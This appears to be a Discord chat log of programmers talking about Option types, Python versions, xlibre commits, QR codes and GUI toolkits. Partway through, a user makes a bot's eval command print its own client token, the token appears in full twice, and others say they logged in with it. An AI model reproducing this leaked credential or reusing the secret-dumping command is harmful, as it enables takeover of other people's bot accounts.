        return this.__internal__.value;
    },

    unwrap_or<T>(value: T) {
        return this.__internal__.value ?? value;
    },

    expect(message) {
        if (this.__internal__.value === null) {
            throw new Error(message);
        }

        return this.__internal__.value;
    },

    is_some() {
        return this.__internal__.some;
    },

    is_none() {
        return !this.is_some();
    }
} satisfies Option<null>

function Some<T>(value: T): Option<T> {
    return Object.assign({ ...None }, { __internal__: { some: true, value } });
}

function match<T, U>(option: Option<T>, val: { Some: ((val: T) => U), None: (() => U) }) {
    if (option.is_some()) {
        return val.Some(option.unwrap());
    }

    return val.None();
}

ofc its not a "real" sum type

but the api usage is the same

this is missing some nice-to-have methods too but you get the idea

[shrewd canopy]

./run

from dataclasses import dataclass
from typing import NoReturn

@dataclass
class Some[T]:
  value: T

  def unwrap(self) -> T:
    return self.value

@dataclass
class Nothing:
  def unwrap(self) -> NoReturn:
    raise TypeError(".unwrap() called on None")

type Option[T] = Some[T] | Nothing

def get_something(input: int) -> Option[str]:
  if input == 3:
    return Nothing()
  return Some("meow")

def main():
  a = get_something(1).unwrap()
  b = get_something(3)

  # a is typed as str, b is typed as Option[str]
  print(a)

  match b:
    case Some(val):
      print(f"We have {val}!")
    case Nothing:
      print("We have no value :C")

main()

[rugged berry]

@shrewd canopy I only received py(3.10.0) error output

  File "/piston/jobs/fa57277d-28c2-4b7c-bf99-ac1e16ca6c0f/file0.code", line 5
    class Some[T]:
              ^
SyntaxError: expected ':'

[shrewd canopy]

:^)

ah sad

it works on python 3.12 tho

[ivory heath]

./run

import sys
print(sys.version)

[rugged berry]

Here is your python(3.10.0) output @ivory heath

3.10.0 (default, Aug  8 2023, 20:59:41) [GCC 8.3.0]

[ivory heath]

the fuck

[violet monolith]

I think this is the same but

./run

import sys
print(f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}")

[rugged berry]

@violet monolith

Error

Unsupported language: None
Request a new language

[violet monolith]

what

is that not valid python

./run

import sys
print(f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}")

[rugged berry]

Here is your py(3.10.0) output @violet monolith

3.10.0

[violet monolith]

oh I forgot the py after the three backticks

[valid jetty]

https://media.discordapp.net/attachments/1011346757214543875/1391558539020996629/image.png?ex=686c5561&is=686b03e1&hm=6f782246d761a24b60d1ebfce2e063ab7c27fa704d948e0d61ff64d3795e93a9&=&width=601&height=639

i sleep

[jade stone]

gradle

[ivory heath]

$ == macro?

[lavish frigate]

lc.eval console.log(client.token)

[visual shell]

​NjgyNjU0NDY2NDUzMDEyNTUz.Gz-cd5.tncCMMDjDtDJ1E4TpQ3_-XwBAqyU-9zfaTu0Ek

labsCore

[lavish frigate]

#hacked

[alpine pecan]

is this true

[crude star]

oml

@royal nymph

??

[royal nymph]

it's true

[alpine pecan]

what's the guy's @

@pearl dawn

fix yo shit

[royal nymph]

it's definitely real

[alpine pecan]

yea it is

delete the message probably

[crude star]

did it revoke it

[royal nymph]

just logged into pissbot with it

wow its real

[crude star]

i uploaded to guhhub

[royal nymph]

I can't tell if you guys are trolling or genuinely think it's real

I should sleep

[crude star]

im too lazy to test

[royal nymph]

it's not a real eval command it uses some api

lc.eval console.log(client)

[visual shell]

​{ _events: {},
  _eventsCount: 0,
  _maxListeners: 12,
  _isBot: true,
  _killed: false,
  application: {},
  cluster: {},
  commandClient: {},
  imageFormat: 'png',
  token: 'NjgyNjU0NDY2NDUzMDEyNTUz.Gz-cd5.tncCMMDjDtDJ1E4TpQ3_-XwBAqyU-9zfaTu0Ek',```

labsCore

[royal nymph]

[crude star]

gusk

[alpine pecan]

bitch

i just checked dthe user id

[ornate quiver]

https://letsencrypt.org/2025/07/01/issuing-our-first-ip-address-certificate/

[jade stone]

the minor typo in the article

[pearl dawn]

owned

[pearl dawn]

owned

[solemn ravine]

[solemn ravine]

this was the worst thing ever written

[nimble bone]

did they port journal to

anyway looks cute

[valid jetty]

$ == stdlib builtin

there are no macros but there are variadic functions and generic functions (with type inference)

i havent found a need to go deeper into the metaprogramming hole

you can already express relatively complicated relationships in the type system

fn Option::resolve_with<T, U, Out>(Option<T> self, fn(T, U) -> Out if_some, fn(U) -> Out if_none, U arg) {
    if self.is_some() {
        return if_some(self.__value, arg);
    } else {
        return if_none(arg);
    }
}

fn Option::resolve<T, Out>(Option<T> self, fn(T) -> Out if_some, fn() -> Out if_none) {
    if self.is_some() {
        return if_some(self.__value);
    } else {
        return if_none();
    }
}

fn Result::map_err_with<T, E, U, Out>(Result<T, E> self, fn(E, U) -> Out cb, U arg) {
    if !self.is_ok() {
        return Result::Err<T, Out>(cb(self.__error, arg));
    } else {
        return self;
    }
}

fn Result::map_err<T, E, Out>(Result<T, E> self, fn(E) -> Out cb) {
    return self.map_err_with(fn(err, cb) cb(err), cb);
}

fn Iterator::fold<T, U, AnyEnded>(Iterator<T, AnyEnded> self, U initial, fn(U, T) -> U cb) {
    while _, val := self.next() {
        initial = cb(initial, val);
    }

    return initial;
}
``` macros just arent necessary

you can even express relationships like this through the type system

macros would just give you another entirely different way to solve the same problems, potentially less type-safe

[hoary sluice]

rosie what is the end goal of elle

[ionic lake]

become the next rust

[valid jetty]

to make a language sufficiently powerful that i can use it for recreational programming

ive already succeeded at that but there is always more to do

[red gulch]

How does PlatformIndicators detect console?

nvm

[shrewd canopy]

There is .embedded field on ClientStatus object
But its not just console anymore, it means also in-game with social layer integration with discord, or using social sdk

[torn thunder]

https://bsky.app/profile/froggi.es/post/3lt5evlhnmk2v

misyl (@froggi.es)

to the idiots using xlibre: this is the code quality of the changes

Likes

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Bluesky · Jul 4, 2025, 1:46 PM

[violet monolith]

day 2 of posting python war crimes

def relaunch_as_admin():
    subprocess.run([
        "powershell.exe",
        "-Command",
        f"Start-Process powershell.exe -ArgumentList '-NoExit', '-Command', '\"{sys.executable}\" \"{os.path.abspath(sys.argv[0])}\"' -Verb RunAs"
    ])

    sys.exit(0)

[plain mortar]

hello, quick question is there any way to bypass
Validation errors:
Application name cannot contain ":"

[fleet cedar]

In what stack

[plain mortar]

i just wanna change my discord bot name to "Resonance: A Plague Tale Legacy"
For sure it doesnt let you use ":" but if theres anyway to bypass it it would be cool ^_^

the game isnt out yet but i wanna put it to the list of games on my server, as you can see in the tag

using [this](#📜-js-snippets message)

[lavish frigate]

no

[plain mortar]

Gotcha thanks !

[hoary sluice]

yes we have a perfectly working display protocol lets just make a third one for absolutely no reason

link that competing standards xkcd

[blazing haven]

what else do u expect from a project that is proudly "DEI free"

[red gulch]

@nimble bone Wanted to warn you that your website has a Cloudflare Tunnel error (error 1033)

[nimble bone]

yes i know

[red gulch]

k

[hoary sluice]

its literally open source wdym dei free

[crude star]

woke liberals are not allowed

This is an independent project, not at all affiliated with BigTech or any of their subsidiaries or tax evasion tools, nor any political activists groups, state actors, etc. It's explicitly free of any "DEI" or similar discriminatory policies. Anybody who's treating others nicely is welcomed.

[royal nymph]

vencord is also dei free

[blazing haven]

look at the readme of the project

oh someone already quoted it

[blazing haven]

vencord is the opposite of dei free

[austere idol]

who has introduced 2^16 and why they did that

i dont know the initial context behind any of those changes

ohhhhh

the answer of metux is devastating

[elder scaffold]

https://github.com/x11libre/xserver/commit/415594fd67a36cb6c49d18eb3d3299055e38dce2#diff-5e4ee80ed44ada865ec91ea64915a0e0ba08b33dfdae64887b7c91d98b107350

[austere idol]

even in python, even in FUCKING python, ^ does not mean "power of"

💀 💀 💀 💀 🪳 🪳

writing 65536 is better than writing 2 << 15 anyway because that expresses your thought better

[elder scaffold]

and https://github.com/X11Libre/xserver/commit/a8f0e2801e606cd48832a1d208b9f5a3499c48a8

[austere idol]

i want to moan

and laugh

and why to even impose arbitary limits, let it be customizable

defined the macro to use it once, then why to define it?

[crude star]

ummm......

nevermind i should stop

[austere idol]

__del__

[crude star]

whag

[austere idol]

using this method in classes will induce some funny chaos

you can even write files when your program is killed

[crude star]

builtin classes are immutable

oh no thats the destructor

[austere idol]

but you can override them with your childs

[crude star]

what even can you break with that

[red gulch]

when do you think it will be fixed?

[nimble bone]

no ETA be patient

i have other things to do than fix my shit all day

[crimson sparrow]

Does in Julia though

I used to love Julia

And probably still would’ve if it weren’t for the package manager being so damn slow

Also the inability to compile apps is a bit annoying

[red gulch]

k is there a mirror tho?

[nimble bone]

no

[austere idol]

this means that that xlibre guy is thinking in julia?

[crimson sparrow]

Ohh, yeah that makes sense

They’re simply too scientifically minded for us to comprehend

[crude star]

https://docs.julialang.org/en/v1/manual/mathematical-operations/

^ is power

[crimson sparrow]

Yeah, that was the point lol

[crude star]

xor is ⊻

[crimson sparrow]

Inverse divide is the best operator

[crude star]

lol

[crimson sparrow]

Julia has so much whacky Unicode

like all constants are predefined to the Unicode representations

[crude star]

you can type \xor

[austere idol]

how i am supposed to write it

[crude star]

read 1 message up

[austere idol]

sent too late

[crude star]

ummmm check your internet?

[crystal scroll]

What should I use to run py code?

[crystal scroll]

Isnt ^ and in logic?

[alpine pecan]

python probably

[crude star]

yes

∧

[lavish frigate]

CRAZY

[jade stone]

need feedback fro my website
https://sadan.zip

hold the center button

[jade stone]

anyone who downloads a custom windows iso is stupid

[tired vigil]

Holding doesn't work on mobile

[jade stone]

mobile support is todo™

[magic shale]

thats cool as hell

[spark tiger]

[spark tiger]

when u press the link and return back to the site the selection is stuck on that link u pressed even if u move the cursor

[jade stone]

thats web focus

tab navigation

[spark tiger]

oh

[jade stone]

i'll add something for onClick that unfocuses

[eternal wigeon]

Can anyone read this qr?

I think my-qr.art is brokeded

[frosty obsidian]

no way that's a valid qr code

[frosty obsidian]

surprised its able to read the huge sections of black and white

usually that throws off readers

[solemn ravine]

I got a long way until I complete these settings

[valid jetty]

is this qr apple

[eternal wigeon]

It should be valid, qr data is repeated many times, the squares are guides, however I have no idea how they included images, I think their site acts as a URL shortener to make this possible

[eternal wigeon]

As demonstrated here

But most readers aren't detecting any qr I generate there so something is wonky

The image is a URL to the site and it somehow redirects to the text I wrote but no idea fr

Basically the pixel image is the URL shortener random string

It seems just guessing

Actually I can ask Gemini to analyse their repo cuz I'm lazy

[frosty obsidian]

the image would create garbage data

everything on the left is just error correction

[winged mantle]

decided i prefer unindented switch

i prefer that switch doesn't introduce any more intentation than an if statement

if i indent it i feel like i avoid using it because of it being kinda ugly to have that much indentation

[jade stone]

i've decided that we should start stoning people for code formatting

[winged mantle]

i will also begin using unintended match in rust

(rage bait)

[jade stone]

@winged mantle my clang-format would give you an aneurysm

[eternal wigeon]

The garbage data is the URL end I think

So this URL redirects u to the text I guess it seems kinda weird

[undone sonnet]

You need to provide an image/GIF with a QR code to read! (Tip: try right-clicking/holding on a message and press Apps -> Select Image, then try again.)

HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYV*I2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7V*I994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDY*RD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CH*A$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP*4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94R*I98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1R*I9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDV*H: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:

[eternal wigeon]

Yo it actually works

As I guessed it's a URL shortener

HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYVI2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7VI994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDYRD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CHA$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94RI98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1RI9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDVH: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:

This link works lol

Sorry for spam

Should redirect to https://pudim.com.br is the URL I made the qr on

[jade stone]

my desktop ocr program gives this

HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYV*I2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7V*I994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDY*RD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CH*A$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP*4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94R*I98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1R*I9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDV*H: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:

[eternal wigeon]

Weird that this bot can read the qr but the web qr reader and Google lens don't detect it

[jade stone]

probably uses the same underlying lib for detecting qr codes

[solemn ravine]

@woven mesa im cryin

[eternal wigeon]

This is so cool I'll make a WhatsApp bot for this

[jade stone]

hey rustcells, what is a good native UI for apps in rust

looking for something that is cross platform, both windows and linux

[nimble bone]

don’t use rust

[jade stone]

kotlin is pure pain

[nimble bone]

Qt with cpp is perfection

[jade stone]

cba to learn electron

[nimble bone]

compiles on windows and linux

why husk @jade stone

[eternal wigeon]

dude, I was simply asking gpt and learning how to use a markov library which i didnt even know what was before

I don't get it

[jade stone]

i dont care about that

i just dont want something like tauri

if i did want something that looks native

what should i use

does wxwidgets have linux support

i wanted to use compose but i ran into a fucking so error that makes no sense

it says libgl not found

but

it's found with ldd

i'm trying qt but it makes no fucking sense

[frosty obsidian]

could be weird nix issue

[jade stone]

maybe, but i'm not sure

jvmRunHot

works fine

[frosty obsidian]

also you don't need to censor nix anymore

[jade stone]

but running the jar myself just doesn't

[jade stone]

i'm aware

[frosty obsidian]

it hasn't been blocked for a while now

[jade stone]

i think it's somewhat funny tho

[jade stone]

also i'm running it from a wrapper that emulates a non-nix file system

(see that libgl is found at /lib/libgl)

[frosty obsidian]

idk I never did development on linux

[jade stone]

does swiftcrossui have support for system apis (tray, clipboard, etc...)

[frosty obsidian]

yeah

its what's on my pc

[jade stone]

c++ interop, i thought it only had objc interop

[frosty obsidian]

?

[jade stone]

that's really cool

can it call mangled c++ functions

@young flicker send swift project template

[frosty obsidian]

can't just move over several hundred gigabytes of data to linux

case sensitivity is different

and when my pc was set up several years ago i wasn't smart enough to disable the automatic onedrive shit

so a lot of my stuff is in some weird onedrive folder thing that linux can't deal with

would rather kill myself

im fine with using windows as primary and fedora as secondary

its what my pc came with

[jade stone]

@young flicker patchelf my beloved

best thing to come out of nixos

[visual shell]

No search results found.

[jade stone]

https://github.com/NixOS/patchelf

[crude star]

since when wasnt patchelf from binutils

oh there's only https://www.man7.org/linux/man-pages/man1/elfedit.1.html

[jade stone]

wasn't patchelf created by nixos or am i crazy

[crude star]

i just cant believe nix would do something actually good

[jade stone]

@young flicker why does swift use llvm 15

just what shipped with nixpkgs

@young flicker does swift cli have completions

@young flicker i love packaging swift-bundler

for nix

@young flicker what

what is this language

ts is fucked

your language is fucked when the compiler doesn't even work

[native spruce]

cant believe I fixed my issues by copy and pasting a file

oh my gosh its so good

[shrewd canopy]

Try freya

I had good experience with Qt

[native spruce]

cute

[dense sand]

how should i save jwt token in my frontend? do i just put it into a cookie

[winged mantle]

"native"

[shrewd canopy]

Its native gui

[winged mantle]

depends on your definition of native

in this case in only seems native in the sense of using native code

[woven mesa]

omg

so good

[native spruce]

still gotta do keybinds

if u wanna do that lmk

u seem to know more about that than me

[woven mesa]

okii ill do it

im back in routine now

https://cdn.discordapp.com/attachments/1293447736418504734/1345369593987727381/lsl0axtnwdle1.gif

[native spruce]

I did a lot for clipper/copyboard already rn I’m just working on the stuff I want added

[winged mantle]

unless they randomly pop up native dialog boxes which look out of place with the rest of the ui

vscode my beloved

[native spruce]

• keybinds
• idk some storage options for automatic deletion
  • maybe an option to keep it in memory
• drag and drop
• some customization options
• sounds/notifications
• automatic updates for release builds
• make the cell classes more manageable instead of copy paste
• html preview whitelist
• improve clipboarddidchange

I think that’s all

and ofc fix bugs

[lavish cloud]

Cookie or localstorage both work

[granite geyser]

Where's the liquid ass

[granite geyser]

Can I get a build of this please 🥹

[supple whale]

yeah that was made in like 2005 iirc

people already dont remember vine pranks with liquid ass

[hazy pine]

i'll buy liquid ass for you

[shrewd canopy]

You use Qt creator to code app, Qt Designer to create UI for it
You can use either .ui or QML , its mainly preference. .ui is supposed to be edited with Qt designer, and QML is supposed to be written manually
You can choose any template depending on your use-case

I know C++ pretty well so maybe thats why I have figured out it quickly

Qt Creator is for writing C++ code, Qt Designer is for creating UI. Qt designer is integrated into Qt creator though

[native spruce]

Yes

[native spruce]

no thanks and stop asking

[granite geyser]

sorry

fycj

😔

[hoary sluice]

@valid jetty i paid 465$ for a zsa voyager and now i literally cant afford rent

[nimble bone]

1. no rust

there your problems are fixed

Unironically c++ with Qt is nice to work with

[winged mantle]

just use c++/python

or don't use qt

[nimble bone]

will prison launcher ever get Rust rewrite @winged mantle

[winged mantle]

other maintainers are tempted by rust interop 🤮

though it is nice because if I want to avoid doing something I can just say we can fix it when we rewrite this part in rust which will never happen

[nimble bone]

so bad

i think that rust was a mistake

[winged mantle]

tbf we do sometimes have weird issues due to memory safety

[nimble bone]

whoooo caresssss just write good code

[winged mantle]

honestly i think rust has it's place and c++ also drives me insane sometimes

but its not great for ui...

[lavish frigate]

everything that has anything to do with native ui makes me want to kill myself the entire ecosystem is horrible
it says a lot that a bunch of things are still being made in fucking winforms just cuz its actually easy even if it sucks

[winged mantle]

generally if a language does not use gc it drives me insane i love gc

i guess c++ and rust technically support gc

[nimble bone]

i like Qt

Qt Creator C++ no other slop

[winged mantle]

isn't imgui easy

[lavish frigate]

the last time i used Qt with python it had a 50% chance to segfault depending on the system

[winged mantle]

its not ideal but neither is winforms

honestly i think its fine sometimes though

[lavish frigate]

sure but i also dont want my apps to look like they are stuck in programmer art

comparable to winforms definitely

[crude star]

wrap everything around Rc<>

[winged mantle]

i wonder how much control you have over the rendering

[crude star]

not much

[winged mantle]

it's funny how much i manually do even tasks which ai actually would be perfect for

[nimble bone]

kys

[winged mantle]

use aqt

https://github.com/miurahr/aqtinstall

i just switched from valibot to zod in my project

i feel zod is a lot cleaner in terms of syntax and i think it also has jit now

[nimble bone]

i just used brew

[winged mantle]

it even has a lite version which is smaller in terms of bundle size

zod v4 is so good

[placid cape]

i jjust use xbps

[ornate quiver]

you are cooked

[hoary sluice]

i dont regret it

[jade stone]

i am going to fucking go insane

this is always true

[native spruce]

thats funny

[magic shale]

cuz js stupid

[jade stone]

this isnt js!

[magic shale]

[jade stone]

the code boils down to this

[shrewd canopy]

Why you are using !== in Java then

[jade stone]

it's not java!

[shrewd canopy]

What is it then

[jade stone]

kotlin

[white crag]

kotlin is in the Java family

[shrewd canopy]

Oh til kotlin has !==
Thankfully its not insane as javascripts !==

[jade stone]

!= is Object.equals

=== is java ==

[hoary sluice]

@valid jetty have u see the foraging update

since they announced foraging update i got sa 55, cata 50, quit sb, got a wife, 2 kids, a house, and a herd of 220 mountain goats

ok i lied i dont have 220 mountain goats

only 190

@spark tiger

[spark tiger]

its too silent i cant hear it

[ornate quiver]

!== is reference equality

[jade stone]

yeah

same result with .equals

[hoary sluice]

turn up ur volume

[jade stone]

also the reference should be the same i think

[hoary sluice]

??

dalboeb

[ornate quiver]

you should never use reference equality unless you absolutely know for certain how everything works